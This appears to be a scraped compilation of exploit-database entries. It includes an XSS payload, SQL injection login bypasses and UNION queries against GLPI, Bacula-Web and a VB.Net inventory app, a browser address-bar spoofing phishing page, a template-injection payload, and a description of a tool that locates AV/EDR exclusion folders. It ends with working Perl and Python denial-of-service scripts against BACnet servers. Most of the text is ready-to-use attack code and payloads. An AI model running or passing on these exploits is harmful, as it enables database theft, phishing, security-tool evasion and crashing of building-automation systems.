Payload : "><img src=x onerror=alert(1)>


Steps to Reproduce :-

1. Login in admin dashboard & Click on 'Categories'.
2. You will notice the "New" button ,Click on that and You will notice the "Category" input field.
3. Put  XSS Payload on that field and save it.
4. XSS will be triggered.
HireHackking 
# Exploit Title: Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/bakeshopinventory1.0.zip
# Version: 1.0
# Category: Windows
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18804

# POC: 
# 1)
# User: 'or 1=1 or ''='
# Pass: 'or 1=1 or ''='
# 
# https://2.bp.blogspot.com/-xjiRUlpkNGc/W9Ywmp79JpI/AAAAAAAAENs/3UDWxFvuTfcJrEKDU9TUxJRpoT8T6yLLwCLcBGAs/s1600/sql4.png
# 
#[PATH]/include/publicfunction.vb
#....
#237     Public Sub LoginUser(ByVal userid As Object, ByVal pass As Object)
#238         Try
#239             con.Open()
#240 
#241             cmd = New OleDb.OleDbCommand
#242             With cmd
#243                 .Connection = con
#244                 .CommandText = "SELECT * FROM tblUser WHERE U_UNAME ='" & userid.Text & "' AND U_PASS = '" & pass.Text & "'"
#245             End With
#246 
#247             da = New OleDb.OleDbDataAdapter
#248             da.SelectCommand = cmd
#249             dt = New DataTable
#250             da.Fill(dt)
#251 
#252             If dt.Rows.Count > 0 Then
#253 
#254                 If dt.Rows(0).Item("U_TYPE") = "Administrator" Then
#255 
#256                     MsgBox("You login as administrator!!")
#257 
#258                     ShowForm(LoginForm1, Form1)
#259 
#260 
#261                     LoginForm1.Hide()
#262                 ElseIf dt.Rows(0).Item("U_TYPE") = "Staff" Then
#263 
#264                     MsgBox("You login as Staff!!")
#265 
#266                     With Form1
#267                         '.ManageUsersToolStripMenuItem.Visible = False
#268 
#269                     End With
#270 
#271                     ShowForm(LoginForm1, Form1)
#272 
#273 
#274                     LoginForm1.Hide()
#275                 End If 
#276 
#277             Else
#278                 MsgBox("Account does not exists.", MsgBoxStyle.Exclamation)
#279             End If
#280 
#281         Catch ex As Exception
#282 
#283             MsgBox(ex.Message)
#284         Finally
#285             con.Close()
#286             da.Dispose()
#287         End Try
#288     End Sub
#....
HireHackking 
# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi
# Date: 10/12
# Exploit Author: Joas Antonio
# Vendor Homepage: https://glpi-project.org/pt-br/ <https://www.blueonyx.it/
# Software Link: https://glpi-project.org/pt-br/baixar/
# Version: GLPI - 9.4.6
# Tested on: Windows/Linux
# CVE : CVE-2021-44617

#POC1:
plugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111

sqlmap -u "url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1"
HireHackking 
<!--
Exploit Title: Baidu Spark Browser URL spoof vulnerability
Date:2016-05-02
Exploit Author: liu zhu
Vendor Homepage:http://en.browser.baidu.com/
<http://en.browser.baidu.com/>Software Link:http://en.browser.baidu.com/query/fullpackage.exe?lang=en
Version:43.23.1000.476
Tested on:Win7/WinXP

details:
The baidu spark browser is vulnerable to Address Bar Spoofing  in the latest version of the browser(43.23.1000.476). Using the specail javascript code it was able to spoof the URL in the address bar which could trick the user that he is visiting a different site than he thinks. it<http://thinks.it/> can be used to phinshing attack.

PoC:
------------------------------------------------------------------------------------------------
-->

<SCRIPT LANGUAGE="JavaScript">
function winopen()
{OW=window.open("", "newwin");
OW.document.write("<TITLE>Google</TITLE>");
OW.document.write("<h1>The Phishing Page !!</h1>");
OW.document.close();
}
</SCRIPT>
<a href="https://www.google.com.hk/" target="newwin" onclick="setTimeout('winopen()', 1);">Google Home Page</a>

<!--
------------------------------------------------------------------------
Save it as a HTML file, and then execute it in Baidu Spark Browser.

Affact:
The vulnerability can be used to Phishing attack, Because the URL can be the same as the URL that the visitor wants to visit,but the content is fake.

Contact:
liuzhu09@huawei.com
-->
HireHackking 
# Exploit Title: Bagisto 1.3.3 - Client-Side Template Injection
# Date: 11-25-2021
# Exploit Author: Mohamed Abdellatif Jaber
# Vendor Homepage: https://bagisto.com/en/
# Software Link: https://github.com/bagisto/bagisto
# Version: v1.3.3
# Tested on: [windows | chrome | firefox ]

Exploit :.
1- register an account and login your account
2- go to your profile and edit name , address
2- and put this payload {{constructor.constructor('alert(document.domain)')()}}
3- admin or any one view order or your profile will execute arbitrary JS-code
.

rf:https://portswigger.net/kb/issues/00200308_client-side-template-injection
HireHackking

BadexClusionsNWBO是从BadexClusions的演变，可以在AV/EDR上识别文件夹自定义或无证件排除。

它如何工作？

badexclusionsnwbo副本并在给定路径的所有文件夹和子文件夹中运行hook_checker.exe。您需要在badexclusionsnwbo.exe的同一文件夹上使用hook_checker.exe。

hook_checker.exe返回EDR钩子的数量。如果挂钩的数量为7或以下，则含义文件夹具有排除，否则不会排除文件夹。

原始想法？

自Badexclusions发布以来，我一直在考虑如何在不产生那么多噪声的情况下实现相同的结果。该解决方案来自另一个工具https://github.com/asaurusrex/probatorum-edr-userland-hook-checker。

如果您下载portotorum-edr-userland-hook-checker，并且在带有特定类型的排除类型的常规文件夹和文件夹中运行它，您会发现巨大的差异。所有信息均在认证设备存储库上。

要求

每个供应商以不同的方式应用排除。为了获取文件夹的列表，应制定特定类型的排除类型。并非所有类型的排除类型，也不是所有供应商在排除文件夹时删除钩子。

运行badexclusionsnwbo的用户需要在排除的文件夹上写入权限，以便编写hook_checker文件并获取结果。

EDR演示

https://github.com/iamagarre/badexclusionsnwbo/assets/89855208/46982975-F4A5-4894-B78D-8D-8D6ED9B1C8C4

HireHackking 
# Exploit Title: Multiple SQL injection vulnerabilities in Bacula-Web
# Date: 2018-03-07
# Software Link: http://bacula-web.org/
# Exploit Author: Gustavo Sorondo
# Contact: http://twitter.com/iampuky
# Website: http://cintainfinita.com/
# CVE: CVE-2017-15367
# Category: webapps

1. Description

Bacula-web before 8.0.0-rc2 is affected by multiple SQL Injection
vulnerabilities that could allow an attacker to access the Bacula database
and, depending on configuration, escalate privileges on the server.

2. Proofs of Concept

2.1) The /jobs.php script is affected by a SQL Injection vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/jobs.php?status=0&level_id=&client_id=0&start_time=&end_time=&orderby=jobid&jobs_per_page=25&pool_id=11%27%20UNION%20ALL%20SELECT%20@@version%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23
HTTP/1.1

Response:
HTTP/1.1 200 OK
[...]
            <td>5.7.19-0ubuntu0.16.04.1</td>
            <td class="text-left">
             backupjob-report.php?backupjob_name=
[...]

Other parameters (eg. client_id) are also vulnerable, since there is no
protection against SQL Injections at all.

2.2) The /backupjob-report.php script is affected by a SQL Injection
vulnerability.

The following GET request can be used to extract the result of "select
@@version" query.

Request:
GET
/client-report.php?period=7&client_id=21%20UNION%20ALL%20SELECT%20NULL,@@version%23

2.3) The /client-report.php is affected by a SQL Injection vulnerability in
the "client_id" parameter.

3. Solution:

Update to version 8.0.0-RC2
http://bacula-web.org/news-reader/bacula-web-8-0-0-rc2-released.html
HireHackking 
# Title: BACnet Test Server 1.01 - Remote Denial of Service (PoC)
# Date: 2020-10-07
# Author: LiquidWorm
# Vendor: https://www.bac-test.com
# Product link: https://sourceforge.com/projects/bacnetserver
# CVE: N/A


#!/usr/bin/perl
#
# BACnet Test Server 1.01 Remote Denial of Service Exploit
#
# 
# Vendor: BACnet Interoperability Test Services, Inc.
# Product web page: https://www.bac-test.com
#                   https://sourceforge.com/projects/bacnetserver
# Affected version: 1.01 (BACnet Stack Version 0.5.7)
#
# Summary: This is a simple BACnet Server aimed at developers who
# want to explore or test their BACnet Client implementations of
# the ASHRAE BACnet protocol. It is based on Steve Karg's fine
# implementation of the BACnet Stack.
#
# Desc: The BACNet Test Server is vulnerable to a denial of service
# (DoS) vulnerability when sending malformed BVLC Length UDP packet
# to port 47808 causing the application to crash.
#
# Type - 0x81
# BVLC Function
# - 0x01 - Write Broadcast Distribution Table
# - 0x02 - Read Broadcast Distribution Table
# - 0x03 - Read Broadcast Distribution Table ACK
# - 0x04 - Forwarded NPDU with optional Originating Device IP address and Port included in BVLL header
# - 0x05 - Register Foreign Device with expiration timeout (Time-to-live) in seconds
# - 0x0a - Original-Unicast-NPDU used to send directed NPDUs to another BACnet/IP device or router.
#   Optional Originating Device IP address and Port NOT included in BVLL header.
# - 0x0b - Original-Broadcast-NPDU used by devices (except foreign devices) to broadcast messages on B/IP networks.
# - 0x0c - Secure-BVLL
# - BVLL Length
# - IP address of Originating Device - optional depending on BVLC Function Code
# - Port number of Originating Device - optional depending on BVLC Function Code
# - NPDU - Network Layer Protocol Data Unit
#
# =================================================================
# (67c.2f34): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** WARNING: Unable to verify checksum for C:\Program Files (x86)\BACnet Interoperability Testing Services, Inc\BACnet Server\Server.exe
# eax=00600000 ebx=00692000 ecx=009bd796 edx=005fee00 esi=005fec04 edi=005fed00
# eip=00994313 esp=005fec04 ebp=005fed00 iopl=0         nv up ei pl nz ac pe nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
# Server+0x34313:
# 00994313 8810            mov     byte ptr [eax],dl          ds:002b:00600000=?? 
# 0:000> d 994313 +77
# 0099438a cccccccc
# 0099438e cccccccc
# 00994392 cccccccc
# 00994396 cccccccc
# 0099439a cccccccc
# 0:000> d esp
# 005fec04 005ff3f8
# 005fec08 005ff408
# 005fec0c 00692000
# 005fec10 cccccccc
# 005fec14 cccccccc
# 004fec18 cccccccc
# =================================================================
#
# Tested on: Microsoft Windows 10 Professional (EN)
#            Microsoft Windows 7 Professional SP1 (EN)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2020-5597
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5597.php
#
#
# 05.08.2019
#

use strict;
use warnings;
use IO::Socket::INET;

my $target = "10.0.99.34";
my $porta = 47808;
my $proto = "udp";
my $stype = SOCK_DGRAM;
my $timeout = 1;

my $socket = new IO::Socket::INET (
PeerHost => $target,
PeerPort => $porta,
Proto => $proto,
Type => $stype,
Timeout => $timeout
) or die "Socket error. : $!\n";

print "Connected to: $target:$porta\n";

$| = 1;
binmode $socket;

my $data = "\x81\x09\xFF\xFE";

print "Sending: $data [ ".length($data)." bytes ]\n";
send ($socket, $data, 0) or die "Nope: $!\n";
print "Done.\n";

$socket->close();
HireHackking 
# Exploit Title: BACnet Stack 0.8.6 - Denial of Service
# Google Dork: [if applicable]
# Date: 2019-07-19
# Exploit Author: mmorillo
# Vendor Homepage: https://sourceforge.net/p/bacnet/
# Software Link: https://sourceforge.net/projects/bacnet/files/bacnet-stack/bacnet-stack-0.8.6/
# Version: bacnet-stack-0.8.6
# Tested on: Linux
# CVE: CVE-2019-12480

#!/usr/bin/env python
# 
# After reported the bug to the vendor, sharing details
# about the vulnerability, as well as proof-of-concept code (exploit code to 
# test), has been release a fix for 0.8.7 release of 
# BACnet Protocol Stack https://sourceforge.net/p/bacnet/

import socket
import struct
import argparse
import os
import sys
from termcolor import colored

#------------------------------------------------------------------------------
# Command line parser using argparse
#------------------------------------------------------------------------------

def cmdline_parser():
    parser = argparse.ArgumentParser(conflict_handler='resolve', add_help=True,
             description='BACnet Protocol Stack Segmentation fault leading to denial of service', version='0.1',
             usage="python %(prog)s")

    # Mandatory
    parser.add_argument('Server', type=str, help='BACnet server IP')
    parser.add_argument('Port', type=str, help='BACnet port')

    return parser


def get_Host_name_IP(): 
    try: 
        host_name = socket.gethostname() 
        host_ip = socket.gethostbyname(host_name) 
        return host_ip
    except: 
        print("Unable to get Hostname and IP") 


def target_alive(BACnetServer, BACnetPort):
    response = os.system("nc -u -z -w 1 " + BACnetServer + " " + str(BACnetPort))

    if response == 0:
        return True
    else:
        return False

#------------------------------------------------------------------------------
# Main of program
#------------------------------------------------------------------------------

def main():

    # Get the command line parser.
    parser = cmdline_parser()

    # Show help if no args
    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    # Get results line parser.
    results = parser.parse_args()

    BACnetServer = results.Server
    BACnetPort = int(results.Port)
    SRC_IP = get_Host_name_IP()

    if not target_alive(BACnetServer, BACnetPort):
        print((colored("[+] BACnet server down", "yellow")))

    else:
        if target_alive(BACnetServer, BACnetPort):

            payload_DeviceCommunicationControl = "\x81\x0a\x00\x16\x01\x04\x00\x05\x01\x11\x0d\xff\x80\x00\x03\x1a\x0a\x19\x00\x2a\x00\x41"

            print((colored("[+] Sending BACnet DeviceCommunicationControl payload from " + SRC_IP, "green")))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
            s.connect((BACnetServer, BACnetPort))
            s.send(struct.pack('>I',len(payload_DeviceCommunicationControl)))
            s.send(payload_DeviceCommunicationControl)

            print((colored("[+] Sent Payload: " + payload_DeviceCommunicationControl.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

        if target_alive(BACnetServer, BACnetPort):

            payload_AtomicReadFile = "\x81\x0a\x00\x1b\x01\x14\x00\x05\x01\x06\xc4\x02\x80\x00\x00\x0e\x35\xff\xdf\x62\xee\x00\x00\x22\x05\x84\x0f"

            print((colored("[+] Sending BACnet AtomicReadFile payload from " + SRC_IP, "green")))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
            s.connect((BACnetServer, BACnetPort))
            s.send(struct.pack('>I',len(payload_AtomicReadFile)))
            s.send(payload_AtomicReadFile)

            print((colored("[+] Sent Payload: " + payload_AtomicReadFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

        if target_alive(BACnetServer, BACnetPort):

            payload_AtomicWriteFile = "\x81\x0a\x00\x1b\x01\x04\x00\x05\x02\x07\xc4\x02\x80\x00\x00\x0e\x35\xff\x5e\xd5\xc0\x85\x0a\x62\x64\x0a\x0f"

            print((colored("[+] Sending BACnet AtomicWriteFile payload from " + SRC_IP, "green")))

            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP
            s.connect((BACnetServer, BACnetPort))
            s.send(struct.pack('>I',len(payload_AtomicWriteFile)))
            s.send(payload_AtomicWriteFile)

            print((colored("[+] Sent Payload: " + payload_AtomicWriteFile.encode('hex') + ' to BACnet server ' + BACnetServer + ' port ' + str(BACnetPort), "yellow")))

        if not target_alive(BACnetServer, BACnetPort):
            print((colored("[+] DoS completed", "red")))


#------------------------------------------------------------------------------
# Main
#------------------------------------------------------------------------------

if __name__ == '__main__':
    main()